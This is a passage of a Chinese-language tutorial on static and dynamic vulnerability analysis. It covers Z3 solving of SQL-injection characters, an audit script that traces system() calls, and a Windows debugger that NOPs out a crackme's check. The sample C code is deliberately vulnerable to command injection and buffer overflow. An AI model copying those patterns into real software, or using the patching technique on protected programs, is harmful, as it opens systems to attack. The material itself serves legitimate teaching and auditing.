我们可以尝试在判断求解的时候对数据内容进行一个假定,假设某处内容为a ,b ,c 并赋予到指定的buffer 空间中尝试进行求解,这个过程就是Fuzzing ,只不过通常我们是用程序执行来跑判断,而现在使用求解器来跑判断.\n\n![](pic6/pic27.png)\n\n  先来构造一个简单的buffer ,然后对buffer 的内容做一些基本的条件限制.\n\n```python\n\nbyte1 = BitVec('byte1',8)\nbyte2 = BitVec('byte2',8)\nbyte3 = BitVec('byte3',8)\nsolver = Solver()\n\nsolver.add(Or(And(65 <= byte1,byte1 <= 65+25),And(105 <= byte1,byte1 <= 105+25)))\nsolver.add(Or(And(65 <= byte2,byte2 <= 65+25),And(105 <= byte2,byte2 <= 105+25)))\nsolver.add(Or(And(65 <= byte3,byte3 <= 65+25),And(105 <= byte3,byte3 <= 105+25)))\nsolver.add(byte1 != ord('A'),byte2 != ord('N'),byte3 != ord('D'))\n\nsolver.check()\n\nresult = solver.model()\n\nfor index in result :\n    print chr(result[index].as_long()) ,\n\n```\n\n  运行结果如下:\n\n![](pic6/pic28.png)\n\n  因为在SQL 注入中是需要依赖特点的字符串组合来触发漏洞的,所以我们在此需要构建一段可以触发问题的测试Payload\n\n```python\n\nbyte1 = BitVec('byte1',8)\nbyte2 = BitVec('byte2',8)\nbyte3 = BitVec('byte3',8)\nsolver = Solver()\n\nsolver.add(Or(And(65 <= byte1,byte1 <= 65+25),And(105 <= byte1,byte1 <= 105+25)))\nsolver.add(Or(And(65 <= byte2,byte2 <= 65+25),And(105 <= byte2,byte2 <= 105+25)))\nsolver.add(Or(And(65 <= byte3,byte3 <= 65+25),And(105 <= byte3,byte3 <= 105+25)))\nsolver.add(byte1 != ord('A'),byte2 != ord('N'),byte3 != ord('D'))\nsolver.add(byte1 == ord('O'),byte2 != ord('r'))\n\nsolver.check()\n\nresult = solver.model()\n\nprint chr(result[byte1].as_long()) ,\nprint chr(result[byte2].as_long()) ,\nprint chr(result[byte3].as_long()) ,\n\n```\n\n  运行结果如下:\n\n![](pic6/pic29.png)\n\n  对字符串的求解的基本原理就是这样了,读者们有兴趣可以尝试利用上面的代码对`system()` 进行求解.\n\n\n## 附录一 -- 各图的Graphiz 生成代码\n\n  在线生成Graphiz . http://dreampuf.github.io/GraphvizOnline/\n\n```txt\ndigraph G {\n\n  function_buffer_resolver[shape=box,label=\"function_buffer_resolver\",style=filled,fillcolor=\"#ABACBA\"];\n  buffer[label=\"argument_buffer\"];\n  buffer_length[label=\"variant_buffer_length\"];\n  buffer_type[label=\"condition_buffer_type\"];\n  const_message_type_hello[label=\"const_message_type_hello\"];\n  const_message_type_execute[label=\"const_message_type_execute\"];\n  const_message_type_data[label=\"const_message_type_data\"];\n  command_buffer[label=\"variant_command_buffer\"];\n  function_execute_command[shape=box,label=\"function_execute_command\",style=filled,fillcolor=\"#ABACBA\"];\n  function_decrypt_data[shape=box,label=\"function_decrypt_data\",style=filled,fillcolor=\"#ABACBA\"];\n  \n  function_buffer_resolver->buffer [label=\"Function Argument \",style=bold,color=green];\n  \n  buffer->buffer_length [label=\"Access buffer[0] \",style=bold,color=violet];\n  buffer->buffer_type [label=\"Access buffer[1] \",style=bold,color=violet];\n  \n  buffer_type->const_message_type_hello [label=\"Check Condition \",style=bold];\n  buffer_type->const_message_type_execute [label=\"Check Condition \",style=bold];\n  buffer_type->const_message_type_data [label=\"Check Condition \",style=bold];\n  \n  buffer_length->command_buffer [label=\"Alloc memory\",style=bold,color=violet];\n  command_buffer->command_buffer [label=\"memset zero\",style=bold,color=blue];\n  buffer->command_buffer [label=\"memcpy from buffer\",style=bold,color=violet];\n  \n  command_buffer->function_execute_command [label=\"Call function\",style=bold,color=red];\n  buffer->function_decrypt_data [label=\"Call function\",style=bold,color=red];\n\n}\n```\n\n\n```txt\ndigraph G {\n\n    function_buffer_resolver[shape=box,label=\"function_buffer_resolver\",style=filled,fillcolor=\"#ABACBA\"];\n    buffer[label=\"argument_buffer\"];\n    command[label=\"argument_buffer\"];\n    command_buffer[label=\"variant_command_buffer\"];\n    function_execute_command[shape=box,label=\"function_execute_command\",style=filled,fillcolor=\"#ABACBA\"];\n    \n    function_buffer_resolver->buffer [label=\"Function Argument \",style=bold,color=green,dir=\"back\"];\n    \n    buffer->command_buffer [label=\"memcpy from buffer\",style=bold,color=violet,dir=\"back\"];\n    \n    command_buffer->function_execute_command [label=\"Push data to function argument\",style=bold,color=red,dir=\"back\"];\n    function_execute_command->command [label=\"Function Argument \",style=bold,color=green];\n    \n}\n```\n\n\n```txt\ndigraph G {\n\n    input_id [shape=box,label=\"input_get_id\"];\n    variant_user_id [label=\"variant_user_id\"];\n    variant_temp_string1 [label=\"variant_temp_string1\"];\n    variant_temp_string2 [label=\"variant_temp_string2\"];\n    function_sql_query [shape=box,label=\"function_sql_query\",style=filled,fillcolor=\"#ABACBA\"];\n    function_echo [shape=box,label=\"function_echo\",style=filled,fillcolor=\"#ABACBA\"];\n    \n    input_id->variant_user_id [label=\"Save data to Variant\",style=bold,color=violet];\n    variant_user_id->variant_temp_string1 [label=\"Build SQL Query String\",style=bold,color=violet];\n    variant_temp_string1->function_sql_query [label=\"Call Function\",style=bold,color=red];\n    variant_user_id->variant_temp_string2 [label=\"Build Echo String\",style=bold,color=violet];\n    variant_temp_string2->function_echo [label=\"Call Function\",style=bold,color=red];\n    \n}\n```\n\n\n```txt\ndigraph G {\n\n    input_id [shape=box,label=\"input_get_id\"];\n    variant_user_id [label=\"variant_user_id\"];\n    variant_temp_string1 [label=\"variant_temp_string1\"];\n    function_sql_query [shape=box,label=\"function_sql_query\",style=filled,fillcolor=\"#ABACBA\"];\n    \n    input_id->variant_user_id [label=\"Save data to Variant\",style=bold,color=violet,dir=\"back\"];\n    variant_user_id->variant_temp_string1 [label=\"Build SQL Query String\",style=bold,color=violet,dir=\"back\"];\n    variant_temp_string1->function_sql_query [label=\"Call Function\",style=bold,color=red,dir=\"back\"];\n    \n}\n```\n\n\n```txt\n\ndigraph G {\n\n  function_buffer_resolver[shape=box,label=\"function_buffer_resolver\",style=filled,fillcolor=\"#ABACBA\"];\n  basic_block_entry[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_1[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_2[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_3[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_4[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_5[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_6[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  condition_1[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  condition_2[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  condition_3[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  condition_4[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  \n  function_buffer_resolver->basic_block_entry;\n  basic_block_entry->condition_1[label=\"2 <= buffer_length\"];\n  condition_1->basic_block_1[label=\"No\"];\n  condition_1->basic_block_2[label=\"Yes\"];\n  basic_block_2->condition_2[label=\"MessageType_Hello == buffer[1]\"];\n  condition_2->basic_block_3[label=\"Yes\"];\n  condition_3->basic_block_4[label=\"Yes\"];\n  condition_4->basic_block_5[label=\"Yes\"];\n  condition_2->condition_3[label=\"No ,Check MessageType_Execute == buffer[1]\"];\n  condition_3->condition_4[label=\"No ,Check MessageType_Data == buffer[1]\"];\n  condition_4->basic_block_6[label=\"No\"];\n  basic_block_3->basic_block_6;\n  basic_block_4->basic_block_6;\n  basic_block_5->basic_block_6;\n\n}\n\n```\n\n```txt\n\ndigraph G {\n\n  user_input[shape=box,style=filled,fillcolor=\"#EEEEEE\"];\n  a[shape=box,style=filled,fillcolor=\"#ABACBA\"];\n  b[shape=box,style=filled,fillcolor=\"#ABACBA\"];\n  basic_block_1[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_2[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_3[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_4[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_5[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  basic_block_6[shape=box,style=filled,fillcolor=\"#BCABCA\"];\n  condition_1[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  condition_2[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  condition_3[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  condition_4[shape=diamond,style=filled,fillcolor=\"#666666\"];\n  \n  user_input->a;\n  user_input->b;\n  a->condition_1;\n  b->condition_1;\n  \n  condition_1->condition_2[label=\"Yes\"];\n  condition_2->basic_block_1[label=\"Yes\"];\n  condition_2->basic_block_2[label=\"No\"];\n  condition_1->condition_3[label=\"No\"];\n  condition_3->basic_block_3[label=\"Yes\"];\n  condition_3->condition_4[label=\"No\"];\n  condition_4->basic_block_4[label=\"Yes\"];\n  condition_4->basic_block_5[label=\"No\"];\n  basic_block_1->basic_block_6;\n  basic_block_2->basic_block_6;\n  basic_block_3->basic_block_6;\n  basic_block_4->basic_block_6;\n  basic_block_5->basic_block_6;\n\n}\n\n```\n\n## 附录二 -- 静态审计工具完整源码\n\n```python\n\n\nimport json\n\nimport cparser\n\n\ncode_emun = '''\nenum {\n  MessageType_Hello = 0,\n  MessageType_Execute,\n  MessageType_Data\n};\n'''\n\ncode_execute_command = '''\nvoid execute_command(const unsigned char* command) {\n    system(command);\n}\n'''\n\ncode_decrypt_data = '''\nvoid decrypt_data(const unsigned char* data_buffer,unsigned char data_buffer_length) {\n    unsigned char* buffer[8] = {0};\n    \n    for (unsigned int data_index = 0;data_index < data_buffer_length;++data_index)\n        buffer[data_index] = data_buffer[data_index] ^ 0x65;\n    \n    printf(\"Recv:%s\\n\",&buffer);\n}\n'''\n\ncode_buffer_resolver = '''\nint buffer_resolver(const unsigned char* buffer) {\n    unsigned char buffer_length = buffer[0];\n    \n    if (2 <= buffer_length)\n        return 0;\n    \n    if (MessageType_Hello == buffer[1]) {\n        printf(\"Hello\\n\");\n    } else if (MessageType_Execute == buffer[1]) {\n        unsigned char* command_buffer = (unsigned char*)malloc(buffer_length - 1);\n        \n        memset(&command_buffer,0,buffer_length);\n        memcpy(&command_buffer,&buffer[2],buffer_length - 2);\n        \n        execute_command(command_buffer);\n    } else if (MessageType_Data == buffer[1]) {\n        decrypt_data(&buffer[2],buffer_length - 2);\n    }\n    \n    return 1;\n}\n'''\n\n\ndef resolver_function_parameter(code_string) :\n    code_string = code_string.strip()\n    code_block_declare_offset = code_string.find('{')\n\n    if -1 == code_block_declare_offset :\n        return False\n\n    try :\n        function_declare_string = code_string[ : code_block_declare_offset ].strip()\n        function_return_type = function_declare_string.split(' ')[0]\n        function_name = function_declare_string.split('(')[0]\n        function_name = function_name.split(' ')[1]\n        function_parameters_string = function_declare_string.split('(')[1].strip()\n        function_parameters_string = function_parameters_string.split(')')[0].strip()\n        resolve_function_parameters_list = function_parameters_string.split(',')\n        function_parameters_list = []\n\n        for resolve_function_parameters_index in resolve_function_parameters_list :\n            function_parameters_list.append({\n                'type' : resolve_function_parameters_index[ : resolve_function_parameters_index.rfind(' ') ] ,\n                'name' : resolve_function_parameters_index.split(' ')[-1] ,\n            })\n\n        return {\n            'type' : function_return_type ,\n            'name' : function_name ,\n            'parameters' : function_parameters_list ,\n        }\n    except :\n        pass\n\n    return False\n\n\ncode_stream = {\n    'global_enum' : {\n        'code' : cparser.get_func_tree(code_emun) ,\n        'declare' : resolver_function_parameter(code_emun) ,\n    } ,\n    'decrypt_data' : {\n        'code' : cparser.get_func_tree(code_decrypt_data) ,\n        'declare' : resolver_function_parameter(code_decrypt_data) ,\n    } ,\n    'execute_command' : {\n        'code' : cparser.get_func_tree(code_execute_command) ,\n        'declare' : resolver_function_parameter(code_execute_command) ,\n    } ,\n    'buffer_resolver' : {\n        'code' : cparser.get_func_tree(code_buffer_resolver) ,\n        'declare' : resolver_function_parameter(code_buffer_resolver) ,\n    } ,\n}\n\n\ndef get_function_parameters(ast_node) :\n    parameters_list = []\n\n    for subnode_index in ast_node.subnode :\n        if subnode_index[1].type == 'parallel' :\n            parameters_list += get_function_parameters(subnode_index[1])\n        elif subnode_index[0] == 'parameters' :\n            parameters_list.append({\n                'type' : subnode_index[1].type ,\n                'value' : subnode_index[1].value ,\n            })\n        elif subnode_index[0].startswith('exp') :\n            parameters_list.append({\n                'type' : subnode_index[1].type ,\n                'value' : subnode_index[1].value ,\n            })\n\n    return parameters_list\n\ndef recursive_find_call(ast_node,find_function_name) :\n    find_result = []\n\n    for subnode_index in ast_node.subnode :\n        if subnode_index[1] == None :\n            continue\n\n        if 'function_call' == subnode_index[1].type :\n            if find_function_name == '*' or find_function_name == subnode_index[1].value :\n                parameters_list = get_function_parameters(subnode_index[1])\n                \n                find_result.append((subnode_index,parameters_list))\n\n        find_result += recursive_find_call(subnode_index[1],find_function_name)\n\n    return find_result\n\ndef print_search_result(call_list) :\n    for call_index in call_list :\n        ast_node_info = call_index[0]\n        parameters_info = call_index[1]\n\n        print 'Call Function Name :',ast_node_info[1].value\n        print '  Function Argument :',parameters_info\n\ndef resolve_strategy(user_search_strategy) :\n    user_search_strategy = user_search_strategy.split('\\n')\n    check_strategy = []\n\n    for user_search_strategy_index in user_search_strategy :\n        strategy_record = user_search_strategy_index.strip()\n\n        if not len(strategy_record) :\n            continue\n\n        search_function_name = strategy_record.split('(')[0].strip()\n        search_parameter_string = strategy_record.split('(')[1].strip()\n        search_parameter_string = search_parameter_string.split(')')[0].strip()\n        search_parameter_list = []\n\n        if len(search_parameter_string) :\n            if not -1 == search_parameter_string.find(',') :\n                search_parameter_string = search_parameter_string.split(',')\n                parameter_index = -1\n\n                for search_parameter_index in search_parameter_string :\n                    check_parameter = search_parameter_index.strip()\n                    parameter_index += 1\n\n                    if not check_parameter == '*' :\n                        continue\n\n                    search_parameter_list.append(parameter_index)\n            else :\n                check_parameter = search_parameter_string.strip()\n\n                if check_parameter == '*' :\n                    search_parameter_list.append(0)\n\n        check_strategy.append((search_function_name,search_parameter_list))\n\n    return check_strategy\n\ndef search_call_by_strategy(search_strategy,code_object) :\n    search_strategy = resolve_strategy(search_strategy)\n    search_record = {}\n\n    for search_strategy_index in search_strategy :  #  Search Call by Strategy\n        find_function_name = search_strategy_index[0]\n        search_check_parameter_list = search_strategy_index[1]\n        find_function_call = recursive_find_call(code_object,find_function_name)\n        search_record_list = []\n\n        print_search_result(find_function_call)\n\n        for call_index in find_function_call :  #  Find Match Strategy Call\n            ast_node_info = call_index[0]\n            parameters_list = call_index[1]\n\n            if search_check_parameter_list :\n                check_parameter_list = []\n\n                for search_check_parameter_index in search_check_parameter_list :  #  Filter Call Argument\n                    if len(parameters_list) <= search_check_parameter_index :\n                        continue\n\n                    target_search_parameter = parameters_list[search_check_parameter_index]\n\n                    if not target_search_parameter['type'] in ['variable','address_of'] :  #  Check this Argument is a Variant ..\n                        continue\n\n                    check_parameter_list.append(target_search_parameter)\n\n                if check_parameter_list :\n                    search_record_list.append((ast_node_info,check_parameter_list))\n            else :\n                search_record_list.append((ast_node_info,[]))\n\n        if search_record_list :\n            search_record[find_function_name] = search_record_list\n\n    return search_record\n\n\ndef xref_variant(trance_record,bingo_parameter_name,function_declare) :\n    xref_record = []\n\n    for trance_record_index in trance_record[ :: -1 ] :\n        if trance_record_index[1].type in ['get_element','assign'] :\n            if bingo_parameter_name in trance_record_index[1].value :\n                xref_record.append({\n                    'type' : trance_record_index[1].type ,\n                    'value' : trance_record_index[1].value ,\n                    'node' : trance_record_index\n                })\n        elif trance_record_index[1].type == 'function_call' :\n            function_parameters = get_function_parameters(trance_record_index[1])\n\n            for function_parameter_index in function_parameters :\n                if not bingo_parameter_name in function_parameter_index['value'] :\n                    continue\n\n                xref_record.append({\n                    'type' : trance_record_index[1].type ,\n                    'value' : trance_record_index[1].value ,\n                    'node' : trance_record_index\n                })\n\n    for function_parameter_index in function_declare['parameters'] :\n        function_parameter_name = function_parameter_index['name']\n\n        if not bingo_parameter_name == function_parameter_name :\n            continue\n\n        xref_record.append({\n            'type' : 'parameter' ,\n            'value' : function_parameter_name ,\n            'node' : None\n        })\n\n    return xref_record\n\ndef trance_record_by_ast(start_node,target_node,bingo_parameters,function_declare,trance_record) :\n    code_record = []\n\n    for node_object_index in start_node.subnode :\n        if node_object_index == target_node :\n            xref_record_list = []\n\n            for bingo_parameter_index in bingo_parameters :\n                xref_record_list.append(xref_variant(trance_record + code_record,bingo_parameter_index['value'],function_declare))\n\n            return (True,xref_record_list)\n\n        code_record.append(node_object_index)\n\n        is_search,sub_data = trance_record_by_ast(node_object_index[1],target_node,bingo_parameters,function_declare,trance_record + code_record)\n\n        if is_search :\n            xref_record_list = sub_data\n\n            return (True,xref_record_list)\n\n        sub_code_record = sub_data\n        code_record += sub_code_record\n\n    return (False,code_record)\n\ndef get_condition(ast_node) :\n    for index in ast_node.subnode :\n        if 'condition' == index[0] :\n            return index[1].value\n\n    return False\n\ndef trance_control_flow_by_ast(start_node,target_node,trance_record) :\n    code_record = []\n\n    for node_object_index in start_node.subnode :\n        if node_object_index == target_node :\n            all_trance_record = trance_record + code_record\n            control_flow_list = []\n\n            for trance_record_index in all_trance_record :\n                if trance_record_index[1].type == 'if' :\n                    control_flow_list.append(get_condition(trance_record_index[1]))\n\n            return (True,control_flow_list)\n\n        code_record.append(node_object_index)\n\n        is_search,sub_data = trance_control_flow_by_ast(node_object_index[1],target_node,trance_record + code_record)\n\n        if is_search :\n            control_flow_record_list = sub_data\n\n            return (True,control_flow_record_list)\n\n    return (False,code_record)\n\ndef xref_function(code_stream,search_function_name) :\n    search_xref_data = {}\n\n    for function_name in code_stream.keys() :\n        function_code = code_stream[function_name]['code']\n        search_result = recursive_find_call(function_code,search_function_name)\n\n        if not search_result :\n            continue\n\n        xref_record = xref_function(code_stream,function_name)\n        search_xref_data[function_name] = {\n            'xref' : xref_record ,\n            'reference' : search_result ,\n        }\n\n    return search_xref_data\n\ndef deep_trance(reference_point_list,xref_reference_function_name,current_function_name) :\n    trance_record = {}\n    #print 'deep_trance  :  ',current_function_name,'->',xref_reference_function_name\n\n    for reference_point in reference_point_list :\n        code_object = code_stream[xref_reference_function_name]['code']\n        code_function_declare = code_stream[xref_reference_function_name]['declare']\n        reference_point_ast_node = reference_point[0]\n        reference_variant_list = reference_point[1]\n        control_flow_list = trance_control_flow_by_ast(code_object,reference_point_ast_node,[])[1]\n        data_flow_list = trance_record_by_ast(code_object,reference_point_ast_node,reference_variant_list,code_function_declare,[])[1]\n        xref_function_list = xref_function(code_stream,xref_reference_function_name)\n        xref_record_list = []\n\n        for xref_function_name in xref_function_list.keys() :\n            xref_function_object = xref_function_list[xref_function_name]\n\n            xref_record_list.append(deep_trance(xref_function_object['reference'],xref_function_name,xref_reference_function_name))\n\n        trance_record[xref_reference_function_name] = {\n            'data_flow' : data_flow_list ,\n            'control_flow' : control_flow_list ,\n            'xref' : xref_record_list ,\n        }\n\n    return trance_record\n\n\nsearch_strategy = 'system(*)'\nsearch_record_list = []\n\nfor function_name in code_stream.keys() :\n    search_record = search_call_by_strategy(search_strategy,code_stream[function_name]['code'])\n\n    #print 'Search Record :',search_record\n\n    if not search_record :\n        continue\n\n    search_record_list.append({\n        'function_name' : function_name ,\n        'record' : search_record ,\n    })\n\nfor search_record_index in search_record_list :\n    xref_reference_function_name = search_record_index['function_name']\n    reference_record_list = search_record_index['record']\n\n    for reference_function_name in reference_record_list.keys() :\n        reference_point_list = reference_record_list[reference_function_name]\n\n        print 'Xref-Search for',reference_function_name,'deep_trance() Result :'\n        print deep_trance(reference_point_list,xref_reference_function_name,reference_function_name)\n\n```\n\n\n\n\n"
  },
  {
    "path": "7.动态程序分析原理.md",
    "content": "\n\n## 必备工具\n\n  Python ,Triton (https://github.com/JonathanSalwan/Triton) \n\n\n## 动态代码分析基本原理\n\n  动态代码执行主要是使用调试模式或者模拟执行的模式跟踪执行程序.动态分析主要分为四部分:内存监控,污点追踪,符号执行,程序插桩.\n\n\n## 内存监控\n\n  在动态调试代码的过程中,我们往往会需要对某一块特定的内存,字符串或对代码执行过程进行跟踪分析.内存监控分为软件监控和硬件监控,下面将一一描述.\n\n\n### 软件监控\n\n  软件监控的方式分为两种,一种是在代码段中插入`Int 3`指令,代码执行到这段指令后就会触发调试中断;另一种是对内存区域进行读写权限限制,对于某个在堆(HeapAlloc())的权限是不可读写的,但是通过malloc() 申请的内存是可以被读写的,那么一旦这块内存产生越界读写就可以触发程序异常.\n\n  我们以UPX 加壳举个例子,Link : https://github.com/lcatro/my-blog/blob/master/2015/%E5%88%A9%E7%94%A8Debug%20API%20%E5%AE%9E%E7%8E%B0%E5%86%85%E5%AD%98%E6%B3%A8%E5%86%8C%E6%9C%BA.md .假定已经通过逆向知道0x4307CC 是UPX 解压缩之后的程序入口点,那么我们在编写调试器的时候可以在0x4307CC 处设置调试断点.\n\n```c\n\n#include <malloc.h>\n#include <memory.h>\n#include <stdio.h>\n#include <windows.h>\n#include <winnt.h>\n\n#define BREAK_ADDRESS_SHELL_JMP 0x4307CC\n#define BREAK_ADDRESS_JE        0x401188\n#define BREAK_FLAG 0xCC\n\nconst char* set_break(HANDLE process,LPVOID set_address,unsigned int set_length=1) {  //  设置断点\n    if (!set_length) return NULL;\n\n    char* break_flag_buffer=(char*)malloc(set_length);\n    memset(break_flag_buffer,BREAK_FLAG,set_length);\n    DWORD write_length=0;\n\n    char* old_code_buffer=(char*)malloc(set_length);\n    DWORD read_length=0;\n    ReadProcessMemory(process,set_address,(LPVOID)old_code_buffer,set_length,&read_length);  //  原理是通过写0xCC 来实现软中断\n\n    WriteProcessMemory(process,set_address,(LPVOID)break_flag_buffer,set_length,&write_length);\n    free(break_flag_buffer);\n\n    return old_code_buffer;\n}\n\nbool remove_break(HANDLE process,LPVOID remove_address,const char* rewrite_code_buffer,unsigned int remove_length) {  //  删除断点\n    DWORD write_length=0;\n\n    return (bool)WriteProcessMemory(process,remove_address,(LPVOID)rewrite_code_buffer,remove_length,&write_length);\n}\n\nHANDLE open_process(DWORD processid) {\n    return OpenProcess(PROCESS_ALL_ACCESS,FALSE,processid);\n}\n\nint main(int argc,char** argv) {\n    STARTUPINFO process_startupinfo={0};\n    PROCESS_INFORMATION process_info={0};\n    CreateProcess(NULL,\"crackme_shell.exe\",NULL,NULL,FALSE,DEBUG_ONLY_THIS_PROCESS | CREATE_NEW_CONSOLE,NULL,NULL,&process_startupinfo,&process_info);  //  启动调试程序\n    printf(\"CreateProcessId=%X\\n\",process_info.dwProcessId);\n\n    HANDLE process=open_process(process_info.dwProcessId);\n\n    set_break(process,(void*)BREAK_ADDRESS_SHELL_JMP,1);  //  在UPX 解压结束的长跳转中设置中断\n\n    DEBUG_EVENT debug_event={0};\n    debug_event.dwProcessId=process_info.dwProcessId;\n\n    while (WaitForDebugEvent(&debug_event,INFINITE)) {  //  等待系统发来中断事件\n        switch (debug_event.dwDebugEventCode) {\n            case EXCEPTION_DEBUG_EVENT: {\n                switch (debug_event.u.Exception.ExceptionRecord.ExceptionCode) {\n                    case EXCEPTION_BREAKPOINT: {\n                        CONTEXT regesit={0};\n                        regesit.ContextFlags=CONTEXT_FULL;\n                        GetThreadContext(process_info.hThread,&regesit);  //  主要是读取EIP\n                        printf(\"EIP=%X\\n\",regesit.Eip);\n\n                        switch (--regesit.Eip) {\n                            case BREAK_ADDRESS_SHELL_JMP: {\n                                SetThreadContext(process_info.hThread,&regesit);\n                                char jmp_code[1]={0xE9};\n                                remove_break(process,(void*)BREAK_ADDRESS_SHELL_JMP,jmp_code,sizeof(jmp_code));  //  消除断点替换0xE9 (JMP 的指令码)\n\n                                char nop_code[2]={0x90,0x90};\n                                remove_break(process,(void*)BREAK_ADDRESS_JE,nop_code,sizeof(nop_code));  //  往JE 写两个NOP\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        if (EXIT_PROCESS_DEBUG_EVENT==debug_event.dwDebugEventCode)  //  程序退出\n            break;\n        ContinueDebugEvent(process_info.dwProcessId,process_info.dwThreadId,DBG_CONTINUE);\n\n    }\n    printf(\"OK!\\n\");\n    \n    return 0;\n}\n\n```\n\n  调试程序运行到0x4307CC 执行`INT 3`指令中断,然后把原来的中断二进制数据0xCC (INT 3 指令的Opcode)换回0xE9 (JMP 指令的Opcode),然后让被调试的程序执行至结束.执行结果如下:\n\n![](pic7/pic1.png)\n\n  那么对内存区域进行读写权限限制具体是有哪些表现的.先用JAVA 举个例子(在https://tool.lu/coderunner/ 上执行):\n\n```java\n\nclass Untitled {\n\tpublic static void main(String[] args) {\n\t\tString data = new String(\"Hello\");\n\t\t\n\t\tdata.charAt(0);\n\t\tdata.charAt(6);\n\t\t\n\t\tSystem.out.println(data);\n\t}\n}\n\n```\n\n  程序输出如下:\n\n```txt\n\nException in thread \"main\" java.lang.StringIndexOutOfBoundsException: String index out of range: 6\n\tat java.base/java.lang.StringLatin1.charAt(StringLatin1.java:47)\n\tat java.base/java.lang.String.charAt(String.java:693)\n\tat Untitled.main(Untitled.java:6)\n\n```\n\n  JAVA 在执行阶段,会根据对字符串的操作索引位置和字符串长度来检测是否存在上下标越界的问题,但是C/C++ 底层的汇编却不会对buffer 的操作索引进行检查.对于这个问题的解决方案,我们就使用`VirtualProtect()` 函数进行内存权限设置,一旦越界触发读写内存异常,下面是一段示例代码:\n\n```c\n\n#include <malloc.h>\n#include <memory.h>\n#include <stdio.h>\n#include <string.h>\n\n\n#define TEST_FLAG \"AAAAAAAAAAAAAAAAAAAAAA\"\n\n\nint main(int argc,char** argv) {\n    char* buffer = (char*)malloc(0x10);\n\n    printf(\"heap_address = 0x%X\\n\",buffer);\n\n    memcpy(buffer,TEST_FLAG,strlen(TEST_FLAG));\n\n    printf(\"Buffer Address = 0x%X\\n\",buffer);\n    printf(\"Buffer = %s\\n\",buffer);\n\n    return 0;\n}\n\n```\n\n  这段代码会触发越界写问题,但是程序没有因为越界写的问题导致程序崩溃.\n\n![](pic7/pic20.png)\n\n  然后我们构造两个buffer ,一个是外层是不允许访问的,然后在这个buffer 内部再分配一个可以读写的buffer .布局如下:\n\n```txt\n\n outside-buffer               outside-buffer\n _______^___________________________^______\n|  No-Access  |  Read-Write  |  No-Access  |\n               -------v------\n                inside-buffer\n\n```\n\n  测试代码如下:\n\n```c++\n\n\n#include <memory.h>\n#include <stdio.h>\n#include <string.h>\n\n#include <windows.h>\n\n\n#define TEST_FLAG \"AAAAAAAAAAAAAAAAAAAAAA\"\n\n\nint main(int argc,char** argv) {\n    LPVOID heap_region = VirtualAlloc(NULL,0x1000,MEM_COMMIT,PAGE_NOACCESS);\n\n    printf(\"heap_region = 0x%X\\n\",heap_region);\n\n    LPVOID address = (LPVOID)((DWORD)heap_region + 0x100);\n\n    printf(\"heap_address = 0x%X\\n\",address);\n\n    VirtualProtect((LPVOID)address,10,PAGE_READWRITE,0);\n\n    char* buffer = (char*)address;\n\n    memcpy(buffer,TEST_FLAG,strlen(TEST_FLAG));\n\n    printf(\"Buffer Address = 0x%X\\n\",buffer);\n    printf(\"Buffer = %s\\n\",buffer);\n\n    return 0;\n}\n\n```\n\n  检测效果如下:\n\n![](pic7/pic21.png)\n\n\n### 硬件监控\n\n  前面提到,用INT 3 指令可以触发调试中断,但这是软中断.在硬件层上还有个更底层的调试中断寄存器:DR 寄存器.我们以OD 为例子来介绍,启动OD 并调试程序,点击菜单\"调试\"->\"硬件断点\".\n\n![](pic7/pic9.png)\n\n  OD 会弹出硬件断点窗口.\n\n![](pic7/pic10.png)\n\n  我们回到OD 的汇编窗口,任意点击一条汇编指令,点击右键\"断点\"->\"硬件执行\".\n\n![](pic7/pic11.png)\n\n  然后再回来到硬件断点窗口,就可以看到前面设置的记录了.\n\n![](pic7/pic12.png)\n\n  来到寄存器窗口右键点击空白区域,可以看到查看调试寄存器.\n\n![](pic7/pic13.png)\n\n  就能看到调试寄存器的内容输出.\n\n![](pic7/pic14.png)\n\n  DR 调试器包含DR0-DR3 ,DR6-DR7 .其中DR0-DR3 保存的是中断地址;DR6 是命中中断时记录地址是DR0-DR3 中的哪个编号;DR7 是调试控制位.在DR6 中保存的数据,如果命中了DR0 寄存器,那么DR6 寄存器的第15 位将会设置为1 .\n\n![](pic7/pic15.png)\n\n![](pic7/pic16.png)\n\n  然后F9 执行,命中中断,DR6 寄存器数值产生了改变.\n\n![](pic7/pic17.png)\n\n![](pic7/pic18.png)\n\n  DR7 寄存器各位的字段如下:\n\n![](pic7/pic19.png)\n\n  关于DR7 寄存器详细字段请自行查阅手册,使用DR 寄存器的方法和设置调试方法差别不大(一般应用DB 寄存器比较多的是在反反调试和反病毒中,此时一些常见软件调试手段会失效,比如代码自检函数头Hook 点,自动清除INT 3 指令,大量抛出异常干扰调试(这需要根据调试代码来识别,软件调试一般触发的事件有EXCEPTION_BREAKPOINT ,EXCEPTION_FLT_DIVIDE_BY_ZERO 等.但DB 寄存器会抛出STATUS_SINGLE_STEP ,这是硬件异常警告),这就需要依靠硬件寄存器来帮助调试),此处不再细说.\n\n\n## 污点追踪\n\n  污点追踪的主要原理是,在输入处构造一些带有标签的数据,然后在敏感函数和位置设置Hook ,观察带有标签的输入数据是否能够流到这个位置来判断漏洞是否存在.我们以prvd (https://github.com/fate0/prvd ,PHP 污点追踪工具)为例子介绍污点追踪.prvd 包含了生成污点数据,追踪数据流,复现漏洞.该项目的作者还写了一个PHP Hook 框架xmark (https://github.com/fate0/xmark ),这两者一起结合使用.整体结构如下:\n\n![](pic7/pic22.png)\n\n  先提示一下,xmark 框架分两点:1.重定向Opcode 